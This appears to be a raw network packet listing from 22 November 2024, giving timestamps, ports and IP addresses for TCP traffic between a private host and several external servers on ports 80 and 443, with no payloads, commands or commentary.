Nov 22, 2024 17:08:35.373739958 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.373785973 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.374725103 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.374773979 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.374850988 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.374893904 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.431369066 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.431489944 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.431509018 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.431546926 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.431982994 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.431996107 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.432039022 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.432776928 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.432828903 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.432894945 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.432943106 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.433717012 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.433765888 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.433801889 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.433845043 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.434683084 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.434734106 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.434772968 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.434819937 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.435578108 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.435626984 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.435697079 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.435739994 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.436497927 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.436549902 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.436583996 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.436626911 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.437431097 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.437479973 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.437540054 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.437587976 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.438366890 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.438412905 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.438447952 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.438488960 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.439301968 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.439357996 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.439384937 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.439434052 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.440217018 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.440268993 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.440344095 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.440383911 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.441234112 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.441282988 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.441325903 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.441395044 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.442131042 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.442183018 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.442219973 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.442262888 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.443018913 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.443069935 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.443121910 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.443166018 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.443985939 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.444035053 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.444099903 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.444147110 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.444858074 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.444912910 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:36.771801949 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.771846056 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.771912098 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.772098064 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.772111893 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.806768894 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.806832075 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.806927919 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.807149887 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.807168961 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.917664051 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.917725086 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.917797089 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.918028116 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.918041945 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.986876011 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.986929893 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:36.986989975 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.987219095 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:36.987231970 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:37.542200089 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:37.542258978 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:37.542318106 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:37.544569969 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:37.544599056 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:38.538253069 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.538547039 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.538579941 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.539896011 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.540002108 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.540945053 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.541091919 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.541124105 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.554292917 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.554568052 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.554586887 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.555715084 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.555780888 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.556122065 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.556191921 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.556299925 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.581901073 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.581933022 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.597541094 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.597560883 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.612066031 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.612324953 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.612348080 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.613419056 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.613502979 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.613957882 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.614033937 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.614324093 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.614336014 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.631458044 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.646791935 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.662110090 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.772003889 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.772932053 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.772953033 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.774055004 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.774146080 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.774593115 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.774668932 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.774945021 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:38.774955988 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:38.817836046 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.045829058 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:39.047178984 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:39.058568954 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.058681965 CET	443	49705	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.058836937 CET	49705	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.244925022 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:39.245069027 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:39.248986006 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:39.248995066 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:39.249366045 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:39.298302889 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:39.386332989 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.386517048 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.386627913 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.388637066 CET	49704	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.388654947 CET	443	49704	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.469260931 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.469443083 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.469501972 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.469518900 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.469644070 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.469686985 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.469695091 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.493624926 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.493748903 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.493798971 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.493829966 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.493902922 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.493908882 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.504146099 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.504333973 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.504352093 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.508290052 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.508451939 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.508460045 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.554982901 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.627456903 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.627589941 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.629051924 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.630105972 CET	49707	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.630125046 CET	443	49707	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.655925989 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.662615061 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.665316105 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.665337086 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.676378965 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.676429033 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.676434994 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.689996958 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.690057039 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.690064907 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.703542948 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.705223083 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.705254078 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.717233896 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.717283010 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.717289925 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.730811119 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.731908083 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.731918097 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.743223906 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.743292093 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.743299007 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.755866051 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.755949020 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.755956888 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.810709000 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.810733080 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.864037037 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.890760899 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.890815020 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.891089916 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.891098022 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.902539015 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.902575970 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.902587891 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.902595997 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.902892113 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.910604954 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.916506052 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.916562080 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.916568041 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.922445059 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.922496080 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.922502041 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.928380966 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.929058075 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.929064989 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.934317112 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.937611103 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.937617064 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.946027040 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.946137905 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.946235895 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.946245909 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.946290016 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.951925039 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.957956076 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.958190918 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.958276033 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.958286047 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.958343029 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.963754892 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.969599009 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.969647884 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.969657898 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.975528002 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.976460934 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.976466894 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.981580019 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.981666088 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.981677055 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.987510920 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.989154100 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.989164114 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.999057055 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.999159098 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.999228954 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:39.999236107 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:39.999278069 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.005006075 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.010868073 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.010907888 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.010972977 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.010979891 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.011037111 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.016870022 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.022743940 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.025518894 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.025531054 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.028650045 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.028706074 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.028712034 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.034179926 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.034239054 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.034246922 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.039167881 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.039218903 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.039225101 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.050180912 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.050328016 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.050396919 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.050405979 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.050451994 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.055748940 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.061610937 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.061666012 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.061674118 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.066962957 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.067035913 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.067044020 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.072531939 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.072611094 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.072617054 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.078105927 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.078156948 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.078162909 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.089170933 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.089210033 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.089215994 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.089221954 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.089263916 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.094712973 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.099988937 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.100043058 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.100052118 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.105288029 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.105319023 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.105366945 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.105375051 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.105412006 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.110251904 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.110486984 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.110544920 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.110692978 CET	49706	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:40.110707998 CET	443	49706	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:40.822943926 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:40.867335081 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.052472115 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:41.052500963 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:41.052606106 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:41.052833080 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:41.052844048 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:41.393012047 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393045902 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393054008 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393066883 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393100977 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393181086 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.393199921 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.393217087 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.393217087 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.393241882 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.413757086 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.413836956 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:41.413851023 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.413897991 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:41.639916897 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:41.639971972 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:41.640048981 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:41.641113997 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:41.641129017 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:42.564269066 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:42.564623117 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:42.683864117 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:42.684231997 CET	80	49725	185.215.113.206	192.168.2.10
